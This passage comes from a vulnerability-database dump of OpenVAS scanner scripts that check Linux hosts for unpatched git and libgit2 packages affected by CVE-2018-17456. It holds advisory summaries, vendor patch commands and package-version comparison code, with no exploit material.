Foundation.\n#\n# This program is distributed in the hope that it will be useful,\n# but WITHOUT ANY WARRANTY; without even the implied warranty of\n# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the\n# GNU General Public License for more details.\n#\n# You should have received a copy of the GNU General Public License\n# along with this program; if not, write to the Free Software\n# Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA.\n###############################################################################\n\nif(description)\n{\n script_oid(\"1.3.6.1.4.1.25623.1.0.852170\");\n script_version(\"$Revision: 13032 $\");\n script_cve_id(\"CVE-2018-17456\");\n script_tag(name:\"cvss_base\", value:\"7.5\");\n script_tag(name:\"cvss_base_vector\", value:\"AV:N/AC:L/Au:N/C:P/I:P/A:P\");\n script_tag(name:\"last_modification\", value:\"$Date: 2019-01-11 08:56:51 +0100 (Fri, 11 Jan 2019) $\");\n script_tag(name:\"creation_date\", value:\"2018-12-10 07:38:48 +0100 (Mon, 10 Dec 2018)\");\n script_name(\"SuSE Update for libgit2 openSUSE-SU-2018:4051-1 (libgit2)\");\n script_category(ACT_GATHER_INFO);\n script_copyright(\"Copyright (C) 2018 Greenbone Networks GmbH\");\n script_family(\"SuSE Local Security Checks\");\n script_dependencies(\"gather-package-list.nasl\");\n script_mandatory_keys(\"ssh/login/suse\", \"ssh/login/rpms\", re:\"ssh/login/release=openSUSELeap15\\.0\");\n\n script_xref(name:\"openSUSE-SU\", value:\"2018:4051_1\");\n script_xref(name:\"URL\", value:\"http://lists.opensuse.org/opensuse-security-announce/2018-12/msg00019.html\");\n\n script_tag(name:\"summary\", value:\"The remote host is missing an update for the 'libgit2'\n package(s) announced via the openSUSE-SU-2018:4051_1 advisory.\");\n\n script_tag(name:\"vuldetect\", value:\"Checks if a vulnerable package version is present on the target host.\");\n\n script_tag(name:\"insight\", value:\"This update for libgit2 fixes the following issues:\n\n\n Security issue fixed:\n\n - CVE-2018-17456: Submodule URLs and paths with a leading '-' are now\n ignored to avoid injecting options into library consumers that perform\n recursive clones (bsc#1110949).\n\n - Version update to version 0.26.8 (bsc#1114729).\n\n This update was imported from the SUSE:SLE-15:Update update project.\n\n\n Patch Instructions:\n\n To install this openSUSE Security Update use the SUSE recommended\n installation methods\n like YaST online_update or 'zypper patch'.\n\n Alternatively you can run the command listed for your product:\n\n - openSUSE Leap 15.0:\n\n zypper in -t patch openSUSE-2018-1517=1\");\n\n script_tag(name:\"affected\", value:\"libgit2 on openSUSE Leap 15.0.\");\n\n script_tag(name:\"solution\", value:\"Please install the updated package(s).\");\n\n script_tag(name:\"solution_type\", value:\"VendorFix\");\n script_tag(name:\"qod_type\", value:\"package\");\n\n exit(0);\n}\n\ninclude(\"revisions-lib.inc\");\ninclude(\"pkg-lib-rpm.inc\");\n\nrelease = rpm_get_ssh_release();\nif(!release) exit(0);\n\nres = \"\";\n\nif(release == \"openSUSELeap15.0\")\n{\n\n if ((res = isrpmvuln(pkg:\"libgit2-26\", rpm:\"libgit2-26~0.26.8~lp150.2.6.1\", rls:\"openSUSELeap15.0\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"libgit2-26-debuginfo\", rpm:\"libgit2-26-debuginfo~0.26.8~lp150.2.6.1\", rls:\"openSUSELeap15.0\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"libgit2-debugsource\", rpm:\"libgit2-debugsource~0.26.8~lp150.2.6.1\", rls:\"openSUSELeap15.0\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"libgit2-devel\", rpm:\"libgit2-devel~0.26.8~lp150.2.6.1\", rls:\"openSUSELeap15.0\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"libgit2-26-32bit\", rpm:\"libgit2-26-32bit~0.26.8~lp150.2.6.1\", rls:\"openSUSELeap15.0\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"libgit2-26-32bit-debuginfo\", rpm:\"libgit2-26-32bit-debuginfo~0.26.8~lp150.2.6.1\", rls:\"openSUSELeap15.0\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if (__pkg_match) exit(99);\n exit(0);\n}\n", "cvss": {"score": 7.5, "vector": "AV:N/AC:L/Au:N/C:P/I:P/A:P"}}, {"lastseen": "2019-07-04T18:55:43", "bulletinFamily": "scanner", "description": "joernchen of Phenoelit discovered that git, a fast, scalable,\ndistributed revision control system, is prone to an arbitrary code\nexecution vulnerability via a specially crafted .gitmodules file in a\nproject cloned with --recurse-submodules.", "modified": "2019-07-04T00:00:00", "published": "2018-10-05T00:00:00", "id": "OPENVAS:1361412562310704311", "href": "http://plugins.openvas.org/nasl.php?oid=1361412562310704311", "title": "Debian Security Advisory DSA 4311-1 (git - security update)", "type": "openvas", "sourceData": "###############################################################################\n# OpenVAS Vulnerability Test\n#\n# Auto-generated from advisory DSA 4311-1 using nvtgen 1.0\n# Script version: 1.0\n#\n# Author:\n# Greenbone Networks\n#\n# Copyright:\n# Copyright (c) 2018 Greenbone Networks GmbH http://greenbone.net\n# Text descriptions are largely excerpted from the referenced\n# advisory, and are Copyright (c) the respective author(s)\n#\n# This program is free software; you can redistribute it and/or modify\n# it under the terms of the GNU General Public License as published by\n# the Free Software Foundation; either version 2 of the License, or\n# (at your option) any later version.\n#\n# This program is distributed in the hope that it will be useful,\n# but WITHOUT ANY WARRANTY; without even the implied warranty of\n# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the\n# GNU General Public License for more details.\n#\n# You should have received a copy of the GNU General Public License\n# along with this program; if not, write to the Free Software\n# Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA.\n###############################################################################\n\nif(description)\n{\n script_oid(\"1.3.6.1.4.1.25623.1.0.704311\");\n script_version(\"2019-07-04T09:25:28+0000\");\n script_cve_id(\"CVE-2018-17456\");\n script_name(\"Debian Security Advisory DSA 4311-1 (git - security update)\");\n script_tag(name:\"last_modification\", value:\"2019-07-04 09:25:28 +0000 (Thu, 04 Jul 2019)\");\n script_tag(name:\"creation_date\", value:\"2018-10-05 00:00:00 +0200 (Fri, 05 Oct 2018)\");\n script_tag(name:\"cvss_base\", value:\"7.5\");\n script_tag(name:\"cvss_base_vector\", value:\"AV:N/AC:L/Au:N/C:P/I:P/A:P\");\n script_tag(name:\"solution_type\", value:\"VendorFix\");\n script_tag(name:\"qod_type\", value:\"package\");\n\n script_xref(name:\"URL\", value:\"https://www.debian.org/security/2018/dsa-4311.html\");\n\n script_category(ACT_GATHER_INFO);\n\n script_copyright(\"Copyright (c) 2018 Greenbone Networks GmbH http://greenbone.net\");\n script_family(\"Debian Local Security Checks\");\n script_dependencies(\"gather-package-list.nasl\");\n script_mandatory_keys(\"ssh/login/debian_linux\", \"ssh/login/packages\", re:\"ssh/login/release=DEB9\");\n script_tag(name:\"affected\", value:\"git on Debian Linux\");\n script_tag(name:\"solution\", value:\"For the stable distribution (stretch), this problem has been fixed in\nversion 1:2.11.0-3+deb9u4.\n\nWe recommend that you upgrade your git packages.\");\n\n script_xref(name:\"URL\", value:\"https://security-tracker.debian.org/tracker/git\");\n script_tag(name:\"summary\", value:\"joernchen of Phenoelit discovered that git, a fast, scalable,\ndistributed revision control system, is prone to an arbitrary code\nexecution vulnerability via a specially crafted .gitmodules file in a\nproject cloned with --recurse-submodules.\");\n script_tag(name:\"vuldetect\", value:\"This check tests the installed software version using the apt package manager.\");\n\n exit(0);\n}\n\ninclude(\"revisions-lib.inc\");\ninclude(\"pkg-lib-deb.inc\");\n\nres = \"\";\nreport = \"\";\nif(!isnull(res = isdpkgvuln(pkg:\"git\", ver:\"1:2.11.0-3+deb9u4\", rls:\"DEB9\"))) {\n report += res;\n}\nif(!isnull(res = isdpkgvuln(pkg:\"git-all\", ver:\"1:2.11.0-3+deb9u4\", rls:\"DEB9\"))) {\n report += res;\n}\nif(!isnull(res = isdpkgvuln(pkg:\"git-arch\", ver:\"1:2.11.0-3+deb9u4\", rls:\"DEB9\"))) {\n report += res;\n}\nif(!isnull(res = isdpkgvuln(pkg:\"git-core\", ver:\"1:2.11.0-3+deb9u4\", rls:\"DEB9\"))) {\n report += res;\n}\nif(!isnull(res = isdpkgvuln(pkg:\"git-cvs\", ver:\"1:2.11.0-3+deb9u4\", rls:\"DEB9\"))) {\n report += res;\n}\nif(!isnull(res = isdpkgvuln(pkg:\"git-daemon-run\", ver:\"1:2.11.0-3+deb9u4\", rls:\"DEB9\"))) {\n report += res;\n}\nif(!isnull(res = isdpkgvuln(pkg:\"git-daemon-sysvinit\", ver:\"1:2.11.0-3+deb9u4\", rls:\"DEB9\"))) {\n report += res;\n}\nif(!isnull(res = isdpkgvuln(pkg:\"git-doc\", ver:\"1:2.11.0-3+deb9u4\", rls:\"DEB9\"))) {\n report += res;\n}\nif(!isnull(res = isdpkgvuln(pkg:\"git-el\", ver:\"1:2.11.0-3+deb9u4\", rls:\"DEB9\"))) {\n report += res;\n}\nif(!isnull(res = isdpkgvuln(pkg:\"git-email\", ver:\"1:2.11.0-3+deb9u4\", rls:\"DEB9\"))) {\n report += res;\n}\nif(!isnull(res = isdpkgvuln(pkg:\"git-gui\", ver:\"1:2.11.0-3+deb9u4\", rls:\"DEB9\"))) {\n report += res;\n}\nif(!isnull(res = isdpkgvuln(pkg:\"git-man\", ver:\"1:2.11.0-3+deb9u4\", rls:\"DEB9\"))) {\n report += res;\n}\nif(!isnull(res = isdpkgvuln(pkg:\"git-mediawiki\", ver:\"1:2.11.0-3+deb9u4\", rls:\"DEB9\"))) {\n report += res;\n}\nif(!isnull(res = isdpkgvuln(pkg:\"git-svn\", ver:\"1:2.11.0-3+deb9u4\", rls:\"DEB9\"))) {\n report += res;\n}\nif(!isnull(res = isdpkgvuln(pkg:\"gitk\", ver:\"1:2.11.0-3+deb9u4\", rls:\"DEB9\"))) {\n report += res;\n}\nif(!isnull(res = isdpkgvuln(pkg:\"gitweb\", ver:\"1:2.11.0-3+deb9u4\", rls:\"DEB9\"))) {\n report += res;\n}\n\nif(report != \"\") {\n security_message(data:report);\n} else if(__pkg_match) {\n exit(99);\n}", "cvss": {"score": 7.5, "vector": "AV:N/AC:L/Au:N/C:P/I:P/A:P"}}, {"lastseen": "2019-05-29T18:33:20", "bulletinFamily": "scanner", "description": "The remote host is missing an update for the ", "modified": "2019-03-13T00:00:00", "published": "2018-10-12T00:00:00", "id": "OPENVAS:1361412562310843657", "href": "http://plugins.openvas.org/nasl.php?oid=1361412562310843657", "title": "Ubuntu Update for git USN-3791-1", "type": "openvas", "sourceData": "###############################################################################\n# OpenVAS Vulnerability Test\n# $Id: gb_ubuntu_USN_3791_1.nasl 14140 2019-03-13 12:26:09Z cfischer $\n#\n# Ubuntu Update for git USN-3791-1\n#\n# Authors:\n# System Generated Check\n#\n# Copyright:\n# Copyright (C) 2018 Greenbone Networks GmbH, http://www.greenbone.net\n#\n# This program is free software; you can redistribute it and/or modify\n# it under the terms of the GNU General Public License version 2\n# (or any later version), as published by the Free Software Foundation.\n#\n# This program is distributed in the hope that it will be useful,\n# but WITHOUT ANY WARRANTY; without even the implied warranty of\n# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the\n# GNU General Public License for more details.\n#\n# You should have received a copy of the GNU General Public License\n# along with this program; if not, write to the Free Software\n# Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA.\n###############################################################################\n\nif(description)\n{\n script_oid(\"1.3.6.1.4.1.25623.1.0.843657\");\n script_version(\"$Revision: 14140 $\");\n script_tag(name:\"last_modification\", value:\"$Date: 2019-03-13 13:26:09 +0100 (Wed, 13 Mar 2019) $\");\n script_tag(name:\"creation_date\", value:\"2018-10-12 06:34:56 +0200 (Fri, 12 Oct 2018)\");\n script_cve_id(\"CVE-2018-17456\");\n script_tag(name:\"cvss_base\", value:\"7.5\");\n script_tag(name:\"cvss_base_vector\", value:\"AV:N/AC:L/Au:N/C:P/I:P/A:P\");\n script_tag(name:\"qod_type\", value:\"package\");\n script_name(\"Ubuntu Update for git USN-3791-1\");\n script_tag(name:\"summary\", value:\"The remote host is missing an update for the 'git'\n package(s) announced via the referenced advisory.\");\n script_tag(name:\"vuldetect\", value:\"Checks if a vulnerable version is present on the target host.\");\n script_tag(name:\"insight\", value:\"It was discovered that git did not properly validate git submodule\nurls or paths. A remote attacker could possibly use this to craft a\ngit repository that causes arbitrary code execution when recursive\noperations are used.\");\n script_tag(name:\"affected\", value:\"git on Ubuntu 18.04 LTS,\n Ubuntu 16.04 LTS,\n Ubuntu 14.04 LTS\");\n script_tag(name:\"solution\", value:\"Please install the updated packages.\");\n\n script_xref(name:\"USN\", value:\"3791-1\");\n script_xref(name:\"URL\", value:\"http://www.ubuntu.com/usn/usn-3791-1/\");\n script_tag(name:\"solution_type\", value:\"VendorFix\");\n script_category(ACT_GATHER_INFO);\n script_copyright(\"Copyright (C) 2018 Greenbone Networks GmbH\");\n script_family(\"Ubuntu Local Security Checks\");\n script_dependencies(\"gather-package-list.nasl\");\n script_mandatory_keys(\"ssh/login/ubuntu_linux\", \"ssh/login/packages\", re:\"ssh/login/release=UBUNTU(14\\.04 LTS|18\\.04 LTS|16\\.04 LTS)\");\n\n exit(0);\n}\n\ninclude(\"revisions-lib.inc\");\ninclude(\"pkg-lib-deb.inc\");\n\nrelease = dpkg_get_ssh_release();\nif(!release)\n exit(0);\n\nres = \"\";\n\nif(release == \"UBUNTU14.04 LTS\")\n{\n\n if ((res = isdpkgvuln(pkg:\"git\", ver:\"1:1.9.1-1ubuntu0.9\", rls:\"UBUNTU14.04 LTS\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if (__pkg_match) exit(99);\n exit(0);\n}\n\n\nif(release == \"UBUNTU18.04 LTS\")\n{\n\n if ((res = isdpkgvuln(pkg:\"git\", ver:\"1:2.17.1-1ubuntu0.3\", rls:\"UBUNTU18.04 LTS\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if (__pkg_match) exit(99);\n exit(0);\n}\n\n\nif(release == \"UBUNTU16.04 LTS\")\n{\n\n if ((res = isdpkgvuln(pkg:\"git\", ver:\"1:2.7.4-0ubuntu1.5\", rls:\"UBUNTU16.04 LTS\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if (__pkg_match) exit(99);\n exit(0);\n}\n", "cvss": {"score": 7.5, "vector": "AV:N/AC:L/Au:N/C:P/I:P/A:P"}}, {"lastseen": "2019-05-29T18:32:39", "bulletinFamily": "scanner", "description": "The remote host is missing an update for the ", "modified": "2019-01-11T00:00:00", "published": "2018-10-26T00:00:00", "id": "OPENVAS:1361412562310852092", "href": "http://plugins.openvas.org/nasl.php?oid=1361412562310852092", "title": "SuSE Update for git openSUSE-SU-2018:3178-1 (git)", "type": "openvas", "sourceData": "###############################################################################\n# OpenVAS Vulnerability Test\n# $Id: gb_suse_2018_3178_1.nasl 13032 2019-01-11 07:56:51Z mmartin $\n#\n# SuSE Update for git openSUSE-SU-2018:3178-1 (git)\n#\n# Authors:\n# System Generated Check\n#\n# Copyright:\n# Copyright (C) 2018 Greenbone Networks GmbH, http://www.greenbone.net\n# Text descriptions are largely excerpted from the referenced\n# advisory, and are Copyright (c) the respective author(s)\n#\n# This program is free software; you can redistribute it and/or modify\n# it under the terms of the GNU General Public License version 2\n# (or any later version), as published by the Free Software Foundation.\n#\n# This program is distributed in the hope that it will be useful,\n# but WITHOUT ANY WARRANTY; without even the implied warranty of\n# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the\n# GNU General Public License for more details.\n#\n# You should have received a copy of the GNU General Public License\n# along with this program; if not, write to the Free Software\n# Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA.\n###############################################################################\n\nif(description)\n{\n script_oid(\"1.3.6.1.4.1.25623.1.0.852092\");\n script_version(\"$Revision: 13032 $\");\n script_cve_id(\"CVE-2018-17456\");\n script_tag(name:\"cvss_base\", value:\"7.5\");\n script_tag(name:\"cvss_base_vector\", value:\"AV:N/AC:L/Au:N/C:P/I:P/A:P\");\n script_tag(name:\"last_modification\", value:\"$Date: 2019-01-11 08:56:51 +0100 (Fri, 11 Jan 2019) $\");\n script_tag(name:\"creation_date\", value:\"2018-10-26 06:47:19 +0200 (Fri, 26 Oct 2018)\");\n script_name(\"SuSE Update for git openSUSE-SU-2018:3178-1 (git)\");\n script_category(ACT_GATHER_INFO);\n script_copyright(\"Copyright (C) 2018 Greenbone Networks GmbH\");\n script_family(\"SuSE Local Security Checks\");\n script_dependencies(\"gather-package-list.nasl\");\n script_mandatory_keys(\"ssh/login/suse\", \"ssh/login/rpms\", re:\"ssh/login/release=openSUSELeap15\\.0\");\n\n script_xref(name:\"openSUSE-SU\", value:\"2018:3178_1\");\n script_xref(name:\"URL\", value:\"http://lists.opensuse.org/opensuse-security-announce/2018-10/msg00030.html\");\n\n script_tag(name:\"summary\", value:\"The remote host is missing an update for the 'git'\n package(s) announced via the openSUSE-SU-2018:3178_1 advisory.\");\n\n script_tag(name:\"vuldetect\", value:\"Checks if a vulnerable package version is present on the target host.\");\n\n script_tag(name:\"insight\", value:\"This update for git fixes the following issues:\n\n - CVE-2018-17456: Git allowed remote code execution during processing of a\n recursive 'git clone' of a superproject if a .gitmodules file has a URL\n field beginning with a '-' character. (boo#1110949).\n\n This update was imported from the SUSE:SLE-15:Update update project.\n\n\n Patch Instructions:\n\n To install this openSUSE Security Update use the SUSE recommended\n installation methods\n like YaST online_update or 'zypper patch'.\n\n Alternatively you can run the command listed for your product:\n\n - openSUSE Leap 15.0:\n\n zypper in -t patch openSUSE-2018-1177=1\");\n\n script_tag(name:\"affected\", value:\"git on openSUSE Leap 15.0.\");\n\n script_tag(name:\"solution\", value:\"Please install the updated package(s).\");\n\n script_tag(name:\"solution_type\", value:\"VendorFix\");\n script_tag(name:\"qod_type\", value:\"package\");\n\n exit(0);\n}\n\ninclude(\"revisions-lib.inc\");\ninclude(\"pkg-lib-rpm.inc\");\n\nrelease = rpm_get_ssh_release();\nif(!release) exit(0);\n\nres = \"\";\n\nif(release == \"openSUSELeap15.0\")\n{\n\n if ((res = isrpmvuln(pkg:\"git\", rpm:\"git~2.16.4~lp150.2.6.1\", rls:\"openSUSELeap15.0\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"git-arch\", rpm:\"git-arch~2.16.4~lp150.2.6.1\", rls:\"openSUSELeap15.0\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"git-core\", rpm:\"git-core~2.16.4~lp150.2.6.1\", rls:\"openSUSELeap15.0\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"git-core-debuginfo\", rpm:\"git-core-debuginfo~2.16.4~lp150.2.6.1\", rls:\"openSUSELeap15.0\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"git-credential-gnome-keyring\", rpm:\"git-credential-gnome-keyring~2.16.4~lp150.2.6.1\", rls:\"openSUSELeap15.0\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"git-credential-gnome-keyring-debuginfo\", rpm:\"git-credential-gnome-keyring-debuginfo~2.16.4~lp150.2.6.1\", rls:\"openSUSELeap15.0\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"git-credential-libsecret\", rpm:\"git-credential-libsecret~2.16.4~lp150.2.6.1\", rls:\"openSUSELeap15.0\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"git-credential-libsecret-debuginfo\", rpm:\"git-credential-libsecret-debuginfo~2.16.4~lp150.2.6.1\", rls:\"openSUSELeap15.0\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"git-cvs\", rpm:\"git-cvs~2.16.4~lp150.2.6.1\", rls:\"openSUSELeap15.0\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"git-daemon\", rpm:\"git-daemon~2.16.4~lp150.2.6.1\", rls:\"openSUSELeap15.0\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"git-daemon-debuginfo\", rpm:\"git-daemon-debuginfo~2.16.4~lp150.2.6.1\", rls:\"openSUSELeap15.0\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"git-debuginfo\", rpm:\"git-debuginfo~2.16.4~lp150.2.6.1\", rls:\"openSUSELeap15.0\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"git-debugsource\", rpm:\"git-debugsource~2.16.4~lp150.2.6.1\", rls:\"openSUSELeap15.0\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"git-email\", rpm:\"git-email~2.16.4~lp150.2.6.1\", rls:\"openSUSELeap15.0\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"git-gui\", rpm:\"git-gui~2.16.4~lp150.2.6.1\", rls:\"openSUSELeap15.0\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"git-p4\", rpm:\"git-p4~2.16.4~lp150.2.6.1\", rls:\"openSUSELeap15.0\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"git-svn\", rpm:\"git-svn~2.16.4~lp150.2.6.1\", rls:\"openSUSELeap15.0\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"git-svn-debuginfo\", rpm:\"git-svn-debuginfo~2.16.4~lp150.2.6.1\", rls:\"openSUSELeap15.0\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"git-web\", rpm:\"git-web~2.16.4~lp150.2.6.1\", rls:\"openSUSELeap15.0\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"gitk\", rpm:\"gitk~2.16.4~lp150.2.6.1\", rls:\"openSUSELeap15.0\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"git-doc\", rpm:\"git-doc~2.16.4~lp150.2.6.1\", rls:\"openSUSELeap15.0\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if (__pkg_match) exit(99);\n exit(0);\n}\n", "cvss": {"score": 7.5, "vector": "AV:N/AC:L/Au:N/C:P/I:P/A:P"}}, {"lastseen": "2019-05-29T18:32:45", "bulletinFamily": "scanner", "description": "The remote host is missing an update for the ", "modified": "2019-01-11T00:00:00", "published": "2018-10-13T00:00:00", "id": "OPENVAS:1361412562310851934", "href": "http://plugins.openvas.org/nasl.php?oid=1361412562310851934", "title": "SuSE Update for git openSUSE-SU-2018:3109-1 (git)", "type": "openvas", "sourceData": "###############################################################################\n# OpenVAS Vulnerability Test\n# $Id: gb_suse_2018_3109_1.nasl 13032 2019-01-11 07:56:51Z mmartin $\n#\n# SuSE Update for git openSUSE-SU-2018:3109-1 (git)\n#\n# Authors:\n# System Generated Check\n#\n# Copyright:\n# Copyright (C) 2018 Greenbone Networks GmbH, http://www.greenbone.net\n#\n# This program is free software; you can redistribute it and/or modify\n# it under the terms of the GNU General Public License version 2\n# (or any later version), as published by the Free Software Foundation.\n#\n# This program is distributed in the hope that it will be useful,\n# but WITHOUT ANY WARRANTY; without even the implied warranty of\n# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the\n# GNU General Public License for more details.\n#\n# You should have received a copy of the GNU General Public License\n# along with this program; if not, write to the Free Software\n# Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA.\n###############################################################################\n\nif(description)\n{\n script_oid(\"1.3.6.1.4.1.25623.1.0.851934\");\n script_version(\"$Revision: 13032 $\");\n script_tag(name:\"last_modification\", value:\"$Date: 2019-01-11 08:56:51 +0100 (Fri, 11 Jan 2019) $\");\n script_tag(name:\"creation_date\", value:\"2018-10-13 06:54:28 +0200 (Sat, 13 Oct 2018)\");\n script_cve_id(\"CVE-2018-17456\");\n script_tag(name:\"cvss_base\", value:\"7.5\");\n script_tag(name:\"cvss_base_vector\", value:\"AV:N/AC:L/Au:N/C:P/I:P/A:P\");\n script_tag(name:\"qod_type\", value:\"package\");\n script_name(\"SuSE Update for git openSUSE-SU-2018:3109-1 (git)\");\n script_tag(name:\"summary\", value:\"The remote host is missing an update for the 'git'\n package(s) announced via the referenced advisory.\");\n script_tag(name:\"vuldetect\", value:\"Checks if a vulnerable version is present on the target host.\");\n script_tag(name:\"insight\", value:\"This update for git fixes the following issues:\n\n - CVE-2018-17456: Git allowed remote code execution during processing of a\n recursive 'git clone' of a superproject if a .gitmodules file has a URL\n field beginning with a '-' character. (boo#1110949).\n\n\n Patch Instructions:\n\n To install this openSUSE Security Update use the SUSE recommended\n installation methods\n like YaST online_update or 'zypper patch'.\n\n Alternatively you can run the command listed for your product:\n\n - openSUSE Leap 42.3:\n\n zypper in -t patch openSUSE-2018-1147=1\");\n script_tag(name:\"affected\", value:\"git on openSUSE Leap 42.3\");\n script_tag(name:\"solution\", value:\"Please install the updated packages.\");\n\n script_xref(name:\"openSUSE-SU\", value:\"2018:3109_1\");\n script_xref(name:\"URL\", value:\"http://lists.opensuse.org/opensuse-security-announce/2018-10/msg00028.html\");\n script_tag(name:\"solution_type\", value:\"VendorFix\");\n script_category(ACT_GATHER_INFO);\n script_copyright(\"Copyright (C) 2018 Greenbone Networks GmbH\");\n script_family(\"SuSE Local Security Checks\");\n script_dependencies(\"gather-package-list.nasl\");\n script_mandatory_keys(\"ssh/login/suse\", \"ssh/login/rpms\", re:\"ssh/login/release=openSUSELeap42\\.3\");\n exit(0);\n}\n\ninclude(\"revisions-lib.inc\");\ninclude(\"pkg-lib-rpm.inc\");\n\nrelease = rpm_get_ssh_release();\nif(!release) exit(0);\nres = \"\";\n\nif(release == \"openSUSELeap42.3\")\n{\n\n if ((res = isrpmvuln(pkg:\"git\", rpm:\"git~2.13.7~16.1\", rls:\"openSUSELeap42.3\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"git-arch\", rpm:\"git-arch~2.13.7~16.1\", rls:\"openSUSELeap42.3\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"git-core\", rpm:\"git-core~2.13.7~16.1\", rls:\"openSUSELeap42.3\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"git-core-debuginfo\", rpm:\"git-core-debuginfo~2.13.7~16.1\", rls:\"openSUSELeap42.3\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"git-credential-gnome-keyring\", rpm:\"git-credential-gnome-keyring~2.13.7~16.1\", rls:\"openSUSELeap42.3\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"git-credential-gnome-keyring-debuginfo\", rpm:\"git-credential-gnome-keyring-debuginfo~2.13.7~16.1\", rls:\"openSUSELeap42.3\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"git-cvs\", rpm:\"git-cvs~2.13.7~16.1\", rls:\"openSUSELeap42.3\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"git-daemon\", rpm:\"git-daemon~2.13.7~16.1\", rls:\"openSUSELeap42.3\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"git-daemon-debuginfo\", rpm:\"git-daemon-debuginfo~2.13.7~16.1\", rls:\"openSUSELeap42.3\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"git-debugsource\", rpm:\"git-debugsource~2.13.7~16.1\", rls:\"openSUSELeap42.3\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"git-email\", rpm:\"git-email~2.13.7~16.1\", rls:\"openSUSELeap42.3\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"git-gui\", rpm:\"git-gui~2.13.7~16.1\", rls:\"openSUSELeap42.3\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"git-svn\", rpm:\"git-svn~2.13.7~16.1\", rls:\"openSUSELeap42.3\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"git-svn-debuginfo\", rpm:\"git-svn-debuginfo~2.13.7~16.1\", rls:\"openSUSELeap42.3\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"git-web\", rpm:\"git-web~2.13.7~16.1\", rls:\"openSUSELeap42.3\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"gitk\", rpm:\"gitk~2.13.7~16.1\", rls:\"openSUSELeap42.3\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = 